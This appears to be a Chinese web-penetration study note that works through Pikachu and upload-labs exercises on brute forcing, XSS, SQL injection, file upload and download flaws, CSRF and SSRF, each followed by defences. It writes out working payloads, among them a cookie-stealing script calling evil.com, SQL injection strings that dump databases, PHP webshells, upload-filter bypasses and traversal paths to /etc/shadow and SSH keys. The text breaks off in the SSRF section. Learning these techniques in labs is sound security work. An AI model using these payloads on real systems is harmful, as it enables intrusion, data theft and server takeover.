一、暴力破解
使用工具Burp
1.基于表单(username、password)的暴力破解
这里用的漏洞演习平台Pikachu,拦截破解工具Burp。
首先,设置网页代理服务(ip:172.16.8.213,port:8080),网页的代理服务要与Burp的代理服务一致;
在Pikachu测试页面随便输入用户名密码,在Burp工具上开启拦截,开启后Pikachu页面再提交用户密码,通过代理服务,Burp就能拦截到所需要的信息。
(1)当知道账号或者密码:
在Burp->代理->Raw页面右键鼠标,点击"发送到intruder",进入intruder页面“位置”,选择攻击类型“Sniper(单个狙击手)”,假设知道账号“admin”,不知道密码,鼠标双击“password”d的value(),value两边就会多个“$”,右边添加“payload位置”;
进入intruder页面的“payload”,选择“payload集”为“1”,在“payload设置”里添加要暴力攻击的password,然后攻击。
暴力破解后的结果,主要看“长度”,长度明显不同于其他的就是密码password;
在代理页面右键鼠标“发送到Repeater”,进入将密码换了之后进行测试验证,发现登录成功。
(2)当账号、密码都不知道:
步骤同上,区别就是,设置攻击类型为“Clustrebomb(集束炸弹)”多添加一个用户名value的“payload位置”,并且把payload集设置为2,也添加用户名的暴力列表。
用户名和密码会在一起,明显长度不同于其他的就是该用户名密码。
2.验证码绕过(on client)
在输入第一次正确的验证码之后,进入Burp代理,之后验证码不过期,可以在Burp里暴力破解用户名密码;不管验证码是否正确,只要用户名密码正确就能登录成功。
3.验证码绕过(on server)
在输入第一次正确的验证码之后,进入Burp代理,之后验证码就销毁了,就可以在Burp里暴力破解用户名密码;需要验证码和进入时一样,用户名密码正确才能登录成功。
客户端:验证码不会过期,
服务器:验证码通过后,就会销毁验证码
二、XSS跨站脚本攻击
<一>原理
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的前端浏览器端安全漏洞。
由于没有对用户输入做过滤,攻击者通过在目标网站上注入恶意脚本,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
<二>XSS类型
1.反射型XSS
经过后端,不经过数据库
-
攻击原理:恶意脚本作为请求参数发送到服务器,服务器未过滤直接返回给用户浏览器执行。
-
触发方式:用户需要主动点击包含恶意参数的链接(如钓鱼邮件、恶意网页)。
-
数据存储:不存储在服务器,仅通过 URL 或 HTTP 请求反射回来。
-
XSS反射型是低危,当前用户有用。
-
通过以下等方式:
(1)<script>alert(value)</script> //闭合原本要执行的内容,直接跳到alert的脚本窗口 (2)"><script>prompt(value)</script> //闭合原本要执行的内容"> 跳到prompt的脚本窗口
示例:
<!-- 正常搜索 URL --> https://example.com/search?q=apple <!-- 恶意构造的 URL --> https://example.com/search?q=<script>alert('XSS')</script>
如果服务器未过滤 q
参数,返回的 HTML 会直接执行脚本:
<!-- 服务器返回的页面 --> <p>搜索结果:<script>alert('XSS')</script></p>
防御措施:
-
对用户输入进行 HTML 转义(如将
<
转义为<
)。 -
使用 Content Security Policy (CSP) 限制脚本加载源。
-
避免直接输出用户输入到 HTML 中。
2.存储型 XSS(Stored XSS / Persistent XSS)
经过后端,经过数据库
-
攻击原理:恶意脚本被永久存储在服务器(如数据库、评论、留言板),其他用户访问时自动执行。
-
触发方式:无需用户交互,访问包含恶意内容的页面即可触发。
-
危害性:高危,它提交的东西存到数据库,影响范围广(所有访问页面的用户)。
-
常用方式:通过
document.cookie
来获取当前网页的登录信息cookie值。
示例:
//跳转到错误的cookie: <script>alert(document.cookie_error)</script> // 恶意脚本示例:将 Cookie 发送到攻击者服务器 <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
服务器未过滤直接存储该评论,其他用户访问时脚本自动执行,窃取其 Cookie。
防御措施:
-
后端对存储的数据进行 严格过滤和转义。
-
前端使用 安全的渲染方式(如
textContent
替代innerHTML
)。 -
启用 CSP 和 HttpOnly Cookie(防止 Cookie 被窃取)。
3. DOM 型 XSS(DOM-based XSS)
不经过后端,纯浏览器
-
攻击原理:恶意脚本通过前端 JavaScript 操作 DOM 触发,不经过服务器。
-
触发方式:用户输入被直接插入到 DOM 中(如
location.hash
、document.write
)。 -
关键点:漏洞完全由前端代码导致,服务器可能无法检测。
-
常用方式:
(1)<a href="javascript:alert(value)">链接名value</a> //链接跳转到alert脚本 (2)<img src=sada οnerrοr="alert(value)"> //把图片路径错误化,由onerror跳转到alert脚本
示例:
假设页面通过 location.hash
动态更新内容:
//漏洞代码:直接将 URL 片段插入 DOM document.getElementById("content").innerHTML = location.hash.substring(1); //攻击者构造恶意 URL: https://example.com/page#<img src=x οnerrοr=alert('XSS')>
<三>XSS绕过
-
大小写混写
-
双写
-
编码
-
拼凑绕过
<四>XSS防护
(1)输入过滤与转义
-
HTML转义:将特殊字符转换为HTML实体:
示例: <script> --> <script>
(浏览器显示为文本,不执行)。
前端框架自动转义: React/Vue/Angular默认转义插值内容(如{{ user_input }}
)。
(2)输出编码
-
根据输出位置选择编码方式:
-
HTML正文:
<
,>
-
HTML属性:
"
→"
-
JavaScript:
\x3cscript\x3e
-
URL:
encodeURIComponent()
-
(3)内容安全策略(CSP)
通过HTTP头Content-Security-Policy
限制脚本加载源:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
-
禁止内联脚本(如
alert(1)
)。 -
限制外部脚本域名(如只允许CDN,分布式服务器系统)。
(4)HttpOnly Cookie
防止JavaScript窃取Cookie:
Set-Cookie: sessionid=123; HttpOnly; Secure
三、SQL注入
<一>原理
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做过滤,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
SQL输入适用场景:有输入的地方、与数据库有交互。
关键字:or
、and
,去试探它有没有sql注入。
在前端和和后台数据交互的过程中,其完整结构应是类似于下:
$user_post="select id,email from member where username='kobe' 'or 1=1'"
除了数字型,都是闭合
<二>sql注入绕过
(1)后台绕过
-
编码、可以进行两次编码
-
参数绕过,复制参数(参数污染),id=1&id=1
-
采用内联注释
/*!select*/
-
组合法 如 and 可以用&&再 URL 编码
-
替换法,如 and 改成&&;=可以用 like 或 in 等
(2)waf绕过
-
http参数污染,复参数绕过
-
编码
-
数据分块传输
-
waf规则绕过:双写,大小写混合,
1.数字型注入
or 1=1#
-->万能语句,永远为真;#-->注释掉后面的
完整的是:$user_post="select id,email from member where username= or 1=1#"
2.字符型注入
' or 2=2#
,因为是字符串string,所以有引号'
-->闭合前面的内容,执行输入的语句
完整的是:$user_post="select id,email from member where username='' 'or 2=2#'"
<1.2> 数字、字符型注入补充
OR 1=1
是经典测试语句,但现代WAF(如ModSecurity)会拦截此类简单payload。建议补充更隐蔽的测试方式,如:
-
OR 'a'='a'
-- 字符串型 -
OR 2>1
-- 数字型
3.搜索型注入
(1)普通常规注入
%' or 2=2#
,%
-->为了模糊搜索,用%'
闭合,正常查询完整的是'%uaername%'
完整的是:$user_post="select id,email from member where username='% %' 'or 2=2#'"
(2)Extractvalue()
报错注入
作用 从目标XML中返回包含的值字符串
需要闭合
' and extractvalue(0,concat(0x7e,version()))#
4.XX型
') or 2=2#
,相对比较少,用')
闭合
完整的是:$user_post="select id,email from member where username=('') or 2=2#"
5.函数报错注入(字符型)
(1)updatexml报错注入
原本的updatexml()函数参数:
UPDATEXML(xml_target, xpath_expr, new_value) xml_target:数据类型XML,要被修改的 XML 文档或片段 xpath_expr:字符串,XPath 表达式,指定要修改的节点 new_value:数据类型XML,替换指定节点的新的 XML 值
sql注入之后的 updatexml()参数:
kobe' or updatexml(1,concat(0x7e,version()),0)# -0x7e:波浪号 ~ 的十六进制ASCII编码表示 -version():获取当前MySQL服务器的完整版本信息。 Kobe' and updatexml(1,concat(0x7e,database()),0)# -database():获取当前连接使用的数据库名称。
-
xml_target
:本应是一个XML文档,但这里故意传入数字1(非法XML格式) 攻击意图: 强制触发XPath解析错误(因为数字1不是有效XML) 错误消息会包含第二个参数(xpath_expr)的执行结果 这是典型的基于错误的SQL注入技巧 -
xpath_expr
:第二个参数concat()
是数据库的拼接函数 把0x7e和version拼成一个字符串0x7e
是~参数,用于避免信息不被报错内容覆盖,拼接成一个完整信息为目的 -
new_value
:本应是替换节点的XML值,但这里随意填入1 攻击意图: 由于第二个参数已触发错误,这个参数实际上不会被使用 保持函数语法正确即可,值本身无关紧要
闭合前面内容 and就是执行 updatexml函数内容。
(2)基于 Extractvalue()报错注入(字符型)
作用 从目标XML中返回包含的值字符串需要闭合
' and extractvalue(0,concat(0x7e,version()))#
示例:春秋云镜 CVE-2023-7130
在获取flag的时候,因为extractvalue()函数显示有长度限制为32,所以这里要用到substr()函数进行分段截取
substr(string,start,length) 对于给定的字符串string,从start位开始截取,截取length长度,如substr('chinese',3,2)=in
同理,还有两个类似的函数stbstring() mid()是一样的用法
#爆出数据库名称 user=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))
#爆出表名 user=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='notes'),0x7e))
#爆出列名 user=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flllaaaag'),0x7e))
user=1' and extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flllaaaag),1,30),0x7e))-->#爆出flag字段的前30字节 user=1' and extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flllaaaag),20,30),0x7e))-->#爆出flag从20个字节开始的30字节
(3) Floor()函数报错注入(双查询注入) (字符型)
floor()报错注入的原因是 group by在向临时表插入数据时,由于 rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前 concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或数执行后的结果。
Kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
-
别名定义:
concat(version(),floor(rand(0)*2))x
中的 x 是为这个复杂表达式定义的临时列名 -
子查询别名:
(select ... from information_schema.tables group by x)a
中的 a 是为整个子查询定义的别名-
语法要求:在MySQL中,所有派生表(子查询结果)必须要有别名
-
攻击利用:使整个复杂查询能作为表达式的一部分被外部查询使用
-
-
information_schema.tables
的作用-
系统视图:这是MySQL自带的元数据库,包含所有表的信息
-
攻击选择原因:
-
默认对所有用户可读
-
包含大量数据(容易触发双查询注入的键冲突)
-
在所有MySQL数据库中存在,通用性强
-
-
实际数据:此视图包含所有表的表名、引擎、行数等信息
-
-
floor(rand(0)*2)
生成伪随机序列(如0,1,1,0,1,1...) -
concat(version(),...)
将版本信息与随机数拼接 -
group by x
尝试用这个值分组时会发生键冲突 -
报错信息会包含
concat
中的版本信息
count(*)函数统计user表的内容条数
group by语句 分组的意思
group by语句和count(*)函数结合 这样就可以统计指定字段的条数
rand(x)函数,x在这里代表参数,当rand()函数有了参数后,生成的就是[伪随机数]
Concat拼接floor 产生的随机数 通过version传进去
6.盲注(字符型)
(1)布尔盲注(bool型):
屏蔽报错 盲注 只有0和1 真和假
lucy' and length(database())>5# -->猜解数据库长度 lucy' and ascii(substr(database(),1,1))>113# -->拆解数据库
(2)时间盲注
lucy' and if((substr(database(),5,3))='chu',sleep(10),null)#
benchmark()
--可以多次执行SQL语句
闭口 用if做判断 通过substr把数据库第一个字符引出来,跟p这个字符串进行比较(猜测),当第一个字符串等于p的话暂停5秒钟,不等于P就返回null。
7.宽字节注入
怎么判断是不是GBK编码? 对于Windows中文版来说,本地编码就是GBK编码。 查看数据头的字节 当以UTF16或UTF-8编码存储时,头部需要添加几个字节作为标识。称为 BOM
再Burp里抓包repeater。
-
针对的是后台数据为GBK编码时,并且对方使用了反斜杠\进行引号的转译时使用
%df' or 1=1#
-
%df\' or 1=1#
-
%df%5c' or 1=1#
-
運' or 1=1#
吃掉\,让单引号生效
Ascii码范围是0-128,大于128才能到汉字范围
插入一个大于128的字节 让sql误认为一体的
市场上大都数都是utf-8
gbk是汉字的字符集
-
%df’
是用来闭合转义 -
%df'
传到后端是一个繁体字运(運) -
%23
就是url编码的#
的意思
宽字节注入 前提是后端使用gbk编码
8.http头部注入
后端验证客户端头部信息User-Agent/cookie等,会对客户端httpheader信息使用sql处理。
可先随便用个单引号'
,查看http头部能否进行sql注入,报错即存在sql注入。
客户端登录成功进去后,再刷新第二个页面进行抓包,执行http头部注入。
(1)从id注入:请求id是数字型的
删除注入操作 根据id删除,id是数字型的
通过Burp代理抓包,在请求头的请求方式(这里是GET)里,看到它id是数字型
Id是数字型的不需要闭合处理 or updatexml(1,concat(0x7e,database()),0)
Get请求需要URL编码处理再提交:鼠标右键选中GET里id后面的数字和我们加入的内容(注意空格):
76 or updatexml(1,concat(0x7e,database()),0)
--->转换选中内容--->“URl”--->"对特殊字符URl编码(URL-encode key characters)",然后重放发送,就🆗了。
(2)从User-Agent:注入
User-Agent:' or updatexml(1,concat(0x7e,database()),0) or '
(3)从Cookie注入
用户名后添加单引号报错 证明拼接到sql中 存在sql注入漏洞
从cookie后拼接注入成功
Cookie: ant[uname]='and updatexml(1,concat(0x7e,database()),0)#
9.union联合查询注入
UNION联合查询注入是一种常见的SQL注入技术,它利用SQL的UNION操作符将恶意查询结果与原始查询结果合并返回。
(1). 确定注入点
找到一个存在SQL注入漏洞的参数,通常是URL参数、表单字段或HTTP头。
(2). 判断列数
使用ORDER BY
子句确定查询返回的列数:
' ORDER BY 1-- ' ORDER BY 2-- ... 直到返回错误
(3). 确定可显示列
使用UNION SELECT和数字序列找出哪些列会在页面上显示:
' UNION SELECT 1,2,3-- ' UNION SELECT 'a','b','c'--
(4). 利用可显示列提取信息
#获数据库: ' UNION SELECT 1,version(),database()-- #获取表名: ' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()-- #获取列名: ' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'-- #提取数据: ' UNION SELECT 1,username,password FROM users--
<三>sql注入防护
(1)SQL语句与参数分离,参数会被自动转义。
(2)输入过滤,如用户名只允许字母数字(正则匹配)。
(3)最小权限原则
-
数据库用户仅授予必要权限(如禁止
DROP TABLE
)。 -
禁止使用管理员账号(如
root
)连接应用数据库。
(4)WAF防护
-
部署Web应用防火墙(如ModSecurity、Cloudflare WAF)拦截常见注入模式。
-
规则示例:拦截
UNION SELECT
、xp_cmdshell
等关键词。
(5)ORM框架
使用ORM(如Django ORM、Hibernate)自动处理参数化查询:
# Django示例 User.objects.filter(username=request.GET['username'])
四<1>、任意文件上传漏洞
1.任意文件上传原理
服务器对上传文件的后缀和类型没有严格的过滤限制,导致攻击者能任意上传恶意脚本文件并执行。
比如一句话木马,从而导致后台服务器被webshell
。
#常见一句话木马: <?php eval($_POST['cmd123']); ?> //cmd123-->远程连接对方数据库的密码 <?php @eval($_POST['cmd']) ;?> <?php eval($_POST[cmd]);?>
示例:
kobe' union select "<?php system($_GET['cmd']);?>",2 into outfile "C:/phpStudy/WWW/pikachu/212.php"#(写入木马可执行cmd命令) 再访问http://10.0.0.66:90/pikachu/chunzi2.php?%20cmd=ipconfig -->就可以显示被控制主机的ip
2.文件上传危害
-
控制网站、服务器
-
远程命令执行
-
服务器文件管理
-
植入后门
3.文件上传防护
-
文件重命名
-
库站分离,上传保存路径与业务分离
-
黑白名单过滤
-
文件类型过滤
4.常见文件上传绕过方式
以duola靶场
为示例:
这里参考了Upload-labs 1-20关靶场通关攻略(全网最全最完整)_upload靶场-优快云博客这位博主的靶场通关技巧
(1) 绕过js(或者修改上传文件返回值)
-
验证合法性 :当我们上传文件时,如果文件是php格式,就会被拦截,抓包抓不到任何东西
-
绕过拦截:为了绕过拦截,我们可以修改文件格式,把php格式修改成jpg格式,此时就成功上传了文件(文件内部是一句话木马,可以创建一个后门,进而就可以操控服务器),通过了前端认证
-
修改文件信息:我们要上传的是一个php文件,因此,我们要修改文件格式,我们在burp的filename进行修改,再发送出去; 我们打开后可以发现图片格式是php,说明我们的一句话木马已成功上传到网站
还可以在前端HTML里将它上传文件返回值return修改为“ture”
(2) MIME:content-type
绕过(白名单)
-
验证合法性 :上传php文件,发现可以抓到包,说明验证是在后端进行的
-
判断代码对哪部分进行了验证 : 上传图片,删掉content-type,如果报错,说明对这部分进行了验证
-
修改格式 : php格式的返回类型跟jpeg格式的不一样,我们可以把php的返回类型改成和jpeg的一样就可以上传了
(3) 特殊后缀绕过
-
上传php文件发现可以抓包,说明在后端进行的,提交后发现上传失败,原因是使用了php后缀
-
我们检查源码,发现不能上传.asp,.aspx,.php,.jsp后缀文件,因此考虑更改后缀为php3,php5,phphtml等中的一种。
-
我们在这里修改为php3,提交后成功上传 。
(4).htaccess
绕过(黑名单)
.htaccess
文件说明:
-
作用:分布式配置文件,一般用于URL重写、认证、访问控制等;
-
作用范围:一般是网址根目录及其子目录;
-
优先级:较高,可覆盖Apache的主要配置文件(httpd-conf);
-
生效方式:修改后即刻生效,httpd-conf需要重启服务器生效。
检查合法性 :通过源码可知,一大堆后缀都被过滤了,但.htaccess后缀没有被过滤,因此可以通过.htaccess配置文件来绕过,在配置文件中输入AddType application/x-httpd-php .jpg .txt
,可以将.jpg格式的文件以php格式打开。
上传: 先上传.htaccess
文件,再上传.jpg/.png格式的php文件
,再像之前那样打开图片,连接到服务器 。
(5).user.ini
绕过
.user.ini
文件说明:
-
作用:特定于用户或目录的配置文件,通常位于web应用程序的根目录下;它用于覆盖或追加全局配置文件(如:php.ini)的php配置选项;
-
作用范围:存放该文件的目录及其子目录;
-
优先级:较高,可以覆盖php.ini
-
生效方式:修改后立即生效,php.ini需要重启服务器生效;
这样就可以上传一个1.php.ini的脚本文件
(6)大写绕过
原理:文件格式的大小写系统都会自动解析成小写,因此可通过更改文件大写来进行绕过
-
把文件格式改成大写
-
直接上传
-
连接:复制图片链接到蚁剑进行连接
(7)空格绕过
原理:在文件格式后加空格,系统在解析文件时会自动删掉空格
-
加空格:先进行抓包,在格式后加几个空格,然后发送
-
连接:复制图片链接到蚁剑进行连接
(8)加.
绕过
(9):$DATA
绕过
在·Windows·操作系统中,当你看到文件名后跟着:$DATA
时,它表示文件的一个附加数 据流。数据流是一种用于在文件内部存储额外数据的机制。
在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是 Windows·NT·文件系统 (NTFS) 支持在文件内部创建额外的数据流,以存储其他信息。这 些额外的数据流可以通过在文件名后面添加".:$DATA"来访问。“ 例如,1.txt
是一个文件,而1.txt.:$DATA
是这个文件的一个附加数据流。这样的数据流可 以用于存储文件的元数据、备份信息、标签等。
需要注意的是,大多数常规的文件操作工具不会意识到这些额外的数据流,而只会处理默认的数据流。要访问或操作这些附加数据流,通常需要使用特定的命令行工具或编程接口。
写入方法
在文件命令行里输入
echo 内容 >>文件名:额外数据流(可随便命名) type 文件名1>>文件名2:数据流名 将文件名1的内容写到文件名2的额外数据流中 查看: notepad 文件名:额外数据流 用记事本来访问额外数据流
绕过原理:windows系统不允许文件后缀中出现:$DATA
,在解析时会自动删除,因此可通过此方式进行绕过 。
(10)点空格点绕过
原理:源代码会检验一遍文件名,去除末尾的.和空格后就不会再次进行检验,使用.php. .的格式,去除.和空格后为格式为php.,可绕过过滤,而系统解析时会自动去除末尾的.,从而上传成功
-
上传php文件
-
在burp上修改php后缀,加上
. .
绕过-->1.php. .
(11)双写后缀绕过
原理:源码里的这行代码会把文件后缀替换成空,由于此方式是从左到右进行检查的,因此可以将.php写成.pphphp,这样过滤一遍后就成了.php文件了 。
(12)%00截断绕过
前置知识 空字符
-
0x00 在编程语言中使用
-
%00 在url编码中使用
-
空字符后面的东西都不会读取
-
url编码先将ascii转为16进制,然后再加%。
原理:通过%00
截断后面的语句,使得页面上传成功
这一关白名单,最终文件的存放位置是以拼接的方式,可以使用%00
截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。
-
上传:上传一个本质是php,但后缀改为png/jpg的文件;
-
抓包修改:通过修改提交路径使页面提交的是php文件,而不是jpg文件,为了避免上传失败,需要在.php后加
%00
,从而截断后面的.jpg/.png文件,使得php文件上传成功。
-
蚁剑连接网站:需要将网站链接php后面那一串删掉才能正确返回页面,然后将修改后的页面url复制到蚁剑上,再连接服务器
(13)0x00截断(0x是16进制的标识)
这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单。
注: POST不会对里面的数据自动解码,需要在Hex中修改。
-
上传:上传一个本质是php,但后缀改为png/jpg的文件;
-
抓包修改:在upload/后面添加1.php+ ,
+
号是用来方便修改hex;
-
修改hex值:在burp的hex里找到
2b
(2b是+号的16进制编码),我们要把它修改为00
,再提交;
(14)字节标识绕过
图片文件的字节标识(Magic Numbers)是文件头部的一组特定十六进制(Hex)字节,用于唯一标识文件类型。即使文件扩展名被篡改(如.php
伪装成.jpg
),系统仍可通过这些字节识别真实格式。
常见图片字节标识:
文件类型 | 文件扩展名 | 字节标识(Hex)开头两个字节之后省略0x | ASCII 可读部分 |
---|---|---|---|
JPEG | .jpg , .jpeg | 0xFF 0xD8 FF E0 或 0xFF 0xD8 FF EE | ÿØÿà 或 ÿØÿî |
PNG | .png | 0x89 0x50 4E 47 0D 0A 1A 0A | ‰PNG.... |
GIF | .gif | 0x47 0x49 46 38 (GIF89a 或GIF87a ) | GIF8 |
BMP | .bmp | 0x42 0x4D (BM ) | BM |
WebP | .webp | 0x52 0x49 46 46 ... 57 45 42 50 | RIFF....WEBP |
utf-8中,一个英文字符占一个字节,中文(含繁体字)占3个字节
通过修改php文件更改后的jpg文件的前两个字节,从而实现绕过
-
上传:上传一个本质是php,但后缀改为png/jpg的文件;
-
修改:当我们直接修改php文件后缀为jpg时,上传会出错,因为此源码是通过对jpg图片的16进制的前2个字节进行验证,因此我们要修改文件的前两个字节为89 50,这是png图片的前两个字节
复制图片链接,发现连不上,原因是虽然含脚本图片上传上去了,但是并没有图片里的脚本并没有运行;
而当服务器存在未严格过滤的include()
或类似函数,允许通过参数动态加载文件,当参数为file
时,则需构造include.php?file=./[被访问图片文件的上级目录]/[上传的图片名,eg:9920250401191457.png]
上传的文件目录:C:\phpStudy\WWW\duola\upload\upload
,WWW
是根目录,include.php
在第一个upload目录下。
所以完整的访问路径为:
http://10.0.0.66:90/duola/upload/include.php?file=./upload/9920250401191457.png
(15)图片马绕过
copy 111.png/b+1.php a.png
将1.php中的内容拷进11.png中并重新生成png文件a.png
在这个命令中,/b
是一个参数,用于指示复制操作的模式。在 Windows 系统中,/b
参数用于指示 copy 命令执行二进制拷贝,即按字节进行拷贝,而不进行任何转换。
上传a.png
,然后通过文件包含运行图片,就成功了 。
图片马二次渲染绕过:
使用exiftool
注入PHP代码到图片元数据:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
(16)条件竞争
从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。
这么看来如果我们还是上传一个图片马(也可以过)的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。
那还怎么搞?上传上去就被删除了,我还怎么去访问啊。
不慌不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。
为了更好的演示效果,把一句话木马换一下改为:
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个Tony.php的一句话。在正常的渗透测试中这也是个好办法。因为单纯的去访问带有phpinfo()的文件并没有什么效果。一旦删除了还是无法利用。但是这个办法生成的Tony.php服务器是不会删除的,我们就可以通过蚁剑去链接了。
(17)文件解析漏洞
pht、phar
四<2>、任意文件下载
1.文件下载漏洞原理
没有固定下载目录且对用户的下载文件没有做严格的过滤,导致攻击者可以通过../../../
回溯到其他路径,指定任意文件下载
一般链接形式:(这些都是网页的特征,我们在挖洞的时候效率都是靠记忆这些特征,看到特征就知道这里大概是什么)
2.文件下载漏洞常见参数
参数名 | 示例URL | 漏洞利用方式 |
---|---|---|
filename= | download.php?filename=test.pdf | 目录遍历(../../../etc/passwd ) |
path= | download.php?path=/var/www/data/1.txt | 绝对路径读取敏感文件 |
file= | down.php?file=config.ini | 文件扩展名绕过(file=../../.env ) |
data= | data.php?data=userdata.json | 读取数据库备份或日志文件 |
&src= | image.php?src=../../.htaccess | 泄露服务器配置 |
&inputfile= | export.php?inputfile=/etc/shadow | 读取系统敏感文件 |
3.文件下载漏洞利用手法
(1)目录遍历(Path Traversal)
通过 ../
跳转目录,访问系统文件:
download.php?filename=../../../etc/passwd down.php?file=../../.env
绕过技巧:
-
编码绕过:
-
%2e%2e%2f
→../
-
..%252f
→../
(双重URL编码)
-
-
绝对路径利用:
download.php?path=/etc/passwd
(2)文件扩展名绕过
如果服务端仅校验扩展名,可尝试:
data.php?file=malicious.php%00.jpg # 利用空字节截断(PHP<5.3) down.php?file=config.ini.bak # 读取备份文件
(3)SSRF(服务端请求伪造)
如果参数支持URL,可能触发SSRF:
download.php?src=http://internal-server/admin.conf
(4)常见利用文件 (要记住,这些都是特征)
/root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts //记录每个访问计算机用户的公钥 /etc/passwd /etc/shadow /etc/my.cnf //mysql配置文件 /etc/httpd/conf/httpd.conf //apache配置文件 /root/.bash_history //用户历史命令记录文件 /root/.mysql_history //mysql历史命令记录文件 /proc/mounts //记录系统挂载设备 /porc/config.gz //内核配置文件 /var/lib/mlocate/mlocate.db //全文件路径 /porc/self/cmdline //当前进程的参数
4.文件下载防护
-
过滤
.
,使用户在 url 中不能回溯上级目录 -
正则
严格判断用户输入参数的格式 -
php.ini
配置open_basedir
限定文件访问范围
五、CSRF(客户端,跨站请求伪造)
CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种利用用户已认证身份执行非预期操作的Web安全漏洞。
1. 攻击原理
用户在信任网站登录并在本地生成cookie,不退出登录前提下,攻击者预测url参数和值,伪造请求,用户点击,攻击者发送请求到信任网站,并带上用户cookie,使信任网站认为合法请求。
(1)核心机制
-
利用前提:用户已登录目标网站(会话有效)
-
诱导方式:通过恶意网站/邮件触发请求
-
请求特征:自动携带目标站点的Cookie等凭证
(2)攻击流程
攻击者受害者目标网站诱导访问恶意页面携带有效Cookie的伪造请求执行非预期操作(如转账)攻击者受害者目标网站
2.典型攻击场景
(1)GET型CSRF
<img src="https://bank.com/transfer?to=hacker&amount=10000" width="0" height="0">
特点:利用图片标签自动发起GET请求
(2)POST型CSRF
<form action="https://bank.com/transfer" method="POST" id="fraud"> <input type="hidden" name="to" value="hacker"> <input type="hidden" name="amount" value="10000"> </form> <script>document.getElementById('fraud').submit();</script>
特点:自动提交隐藏表单
(3)基于JSON API的攻击
fetch('https://api.example.com/change-email', { method: 'POST', credentials: 'include', body: JSON.stringify({email: 'hacker@evil.com'}) })
3.关键攻击条件
条件 | 说明 |
---|---|
会话保持 | 目标站点使用Cookie/Session认证 |
无二次验证 | 敏感操作无需确认密码/验证码 |
参数可预测 | 请求参数无随机Token保护 |
请求可伪造 | 无Referer检查等防护 |
4.防御方案
(1)服务端防护
-
使用动态验证码:如短信验证
-
使用一次性token验证
-
检查请求头
Origin
头(比Referer更可靠) -
SameSite Cookie
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure
(2)客户端防护
现代框架集成:
框架 | CSRF防护方案 |
---|---|
Django | 内置中间件CsrfViewMiddleware |
Spring Security | 默认启用CSRF防护 |
Rails | 自动生成authenticity_token |
5.攻击检测方法
(1) 手工测试
GET /change-email?new_email=hacker@evil.com HTTP/1.1 Host: victim.com Cookie: session=valid_session_id
验证点:
-
是否无需二次确认
-
是否检查Referer
-
是否要求Token
(2) 自动化工具
-
Burp Suite的CSRF PoC生成器
-
OWASP ZAP的主动扫描
-
CSRFTester工具
六、SSRF(服务端,跨站请求伪造)
1.SSRF原理
SSRF(Server-Side Request Forgery:服务器端请求伪造) : 服务器提供了从其他服务器应用获取数据的功能,但没有对目标地址做严格过滤限制,导致攻击者通过外网访问内网造成攻击。
首先,我们要对目标网站的架构了解,脑子里要有一个架构图。比如 : A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA网站,我们普通用户只可以访问a网站,不能访问b网站。但是我们可以同过a网站做中间人,访问b网站,从而达到攻击b网站需求。
总结起来就一句话也就是他的攻击原理:攻击者通过控制内网一台服务器进而攻击在同一内网的其他的服务器, 我们之前是不是学过CSRF还记得么,他是(跨站请求伪造),他们都是伪造只是伪造的方式不同。
正常用户访问网站的流程是:
输入A网站URL --> 发送请求 --> A服务器接受请求(没有过滤),并处理 -->返回用户响应
网站有个请求是[www.hxjl.com/xxx.php?image = URL]
-->这里相当于获取这个URL
那么产生SSRF漏洞的环节在哪里呢?安全的网站应接收请求后,检测请求的合法性
产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据 --没有对参数进行过滤导致这个参数的值我们可以随意的给
例如:[www.hxjl.com/xxx.php?image=www.luffycity.com/1.jpg]
如果我们将[www.luffycity.com/1.jpg]
换为与该服务器相连的内网服务器地址会产生什么效果呢?
如果存在该内网地址就会返回1xx 2xx 之类的状态码,不存在就会其他的状态码
只要有变量等于一个url的地方就可能有ssrf漏洞,分类如下图:
SSRF攻击结果由函数本身来决定,函数的功能越强大,攻击的成功的几率就越大,如:curl_init 、 file_get_contents、 fsockopen
(白盒测试,代码审计)
白盒的环境下我们直接找上面这三个函数就行,只要没有这三个函数那就一定没有ssrf漏洞
2.SSRF危害
-
内网端口、主机扫描
-
攻击内网或本地web应用
-
